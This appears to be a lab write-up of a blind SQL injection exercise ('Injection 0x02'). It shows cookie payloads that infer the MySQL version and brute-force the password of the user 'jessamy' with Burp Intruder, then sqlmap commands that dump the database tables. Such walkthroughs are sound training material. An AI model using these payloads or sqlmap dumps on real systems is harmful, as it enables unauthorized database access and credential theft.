# Injection 0x02

First you have to login as a user jeremy to get a valid session cookie

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F1TjOeFCHHv2MWnCBoApI%2Fimage.png?alt=media&#x26;token=421519d8-3470-4faa-be02-bfd0fb858a3b" alt=""><figcaption></figcaption></figure>

Then forward the GET request with the session to the repeater

Try to put some injection in the cookie session

Blind injection since it is not returning anything just behaviour

```
Cookie: session=6967cabefd763ac1a1a88e11159957db' or 1=1#
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FEYzg2GMOTKDPOJvJrQYi%2Fimage.png?alt=media&#x26;token=8a113d24-9ccb-4e61-9fb4-cd293b76e03c" alt=""><figcaption></figcaption></figure>

***

Now we are going to enumerate for the sql version

First we are going to try 7 in the first&#x20;

But it returns error with content length 1928

{% code overflow="wrap" %}
```
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()),1,1) = '7'#
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FQAebfEMh5nI8uIXqrB0v%2Fimage.png?alt=media&#x26;token=2acb87c5-a07a-45bf-b4a8-2250d661a035" alt=""><figcaption></figcaption></figure>

Then when we try 8&#x20;

We get a access content length with 1027

{% code overflow="wrap" %}
```
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()),1,1) = '8'#
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FQmcmxGTSf3jdlPvG7bEK%2Fimage.png?alt=media&#x26;token=87a34727-f903-4d5e-b65a-65f4209abfea" alt=""><figcaption></figcaption></figure>

Next&#x20;

{% code overflow="wrap" %}
```
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()),1,3) = '8.0'#
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FrDbrMw3n8ddOEKT3jHMi%2Fimage.png?alt=media&#x26;token=bbf185e3-5322-4363-8cd9-7d663eed9295" alt=""><figcaption></figcaption></figure>

After that we determine that mysql version is 8.0.3

{% code overflow="wrap" %}
```
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select version()),1,5) = '8.0.3'#
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FFs4xJ9xpRUa54J0HreO0%2Fimage.png?alt=media&#x26;token=148a83d6-562c-4a58-af87-3b2ef3e99896" alt=""><figcaption></figcaption></figure>

***

Now we are going to  find some password for jessamy user

{% code overflow="wrap" %}
```
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select password from injection0x02 where username = 'jessamy'),1,1) = 'a'#
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F3uE7eFh2zqGuWtZgNEhC%2Fimage.png?alt=media&#x26;token=ee2ce2f7-d544-4715-8f1e-e8c52f3b618e" alt=""><figcaption></figcaption></figure>

Put this in intruder

{% code overflow="wrap" %}
```
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select password from injection0x02 where username = 'jessamy'), 1, 1) = '§a§'#
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fl45s5HKmvp5iu2UAmSef%2Fimage.png?alt=media&#x26;token=9c33c156-0e96-4ae2-818f-e8cf2f1c9715" alt=""><figcaption></figcaption></figure>

Put the alphabet (a-z) (A-Z)

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F5dYbwiemzjqZYcvItH6b%2Fimage.png?alt=media&#x26;token=57c639e7-bcce-4ae9-a197-0094a578574e" alt=""><figcaption></figcaption></figure>

We can see the z and Z are accepted

We can try manually like again but it will take time

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FtiEL8cko2rJUrYpVUEUC%2Fimage.png?alt=media&#x26;token=a811ce70-b906-4c59-b24f-62a7c8e82e71" alt=""><figcaption></figcaption></figure>

The second letter since we know the first letter is z or Z

{% code overflow="wrap" %}
```
Cookie: session=6967cabefd763ac1a1a88e11159957db' and substring((select password from injection0x02 where username = 'jessamy'), 2, 1) = '§b§'#
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FCyZfKIoCnGAKYlQ2Ai08%2Fimage.png?alt=media&#x26;token=8404cea4-b740-47b0-aa36-4f24dab4e3b4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Ftoqe3mcPrjPFjhWTz3aa%2Fimage.png?alt=media&#x26;token=9b7b6097-80e9-45f9-bbca-36d9a75113af" alt=""><figcaption></figcaption></figure>

***

Or we could use the sql map

Just save the GET request with the session cookie

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F5tBuOBETZj5egxVv4Jd1%2Fimage.png?alt=media&#x26;token=af5c1dbc-8264-477d-9e19-f604472a4362" alt=""><figcaption></figcaption></figure>

<pre><code><strong># --level=2 is for the cookie testing
</strong>sqlmap -r session.txt --level=2 
</code></pre>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FEIJPYng8MsZIrNazUubn%2Fimage.png?alt=media&#x26;token=7708e0f4-cc97-4154-a146-e99e5171ad6d" alt=""><figcaption></figcaption></figure>

<pre><code><strong># --level=2 is for the cookie testing
</strong><strong># This will dump all data from eah databases/table
</strong>sqlmap -r session.txt --level=2 --dump
</code></pre>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FHyY2TmWqz7OcU9l8FX6W%2Fimage.png?alt=media&#x26;token=6a1fad93-d956-4978-87b3-330fc6dc0d54" alt=""><figcaption></figcaption></figure>

But we just want the injection 0x02 table

<pre><code><strong># --level=2 is for the cookie testing
</strong><strong># This will dump all data from table injection0x02
</strong>sqlmap -r session.txt --level=2 --dump -T injection0x02
</code></pre>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FrkavPucC087zwh3e7Gtz%2Fimage.png?alt=media&#x26;token=e1c16c05-56c0-4b59-8caf-d519231b9a5a" alt=""><figcaption></figcaption></figure>

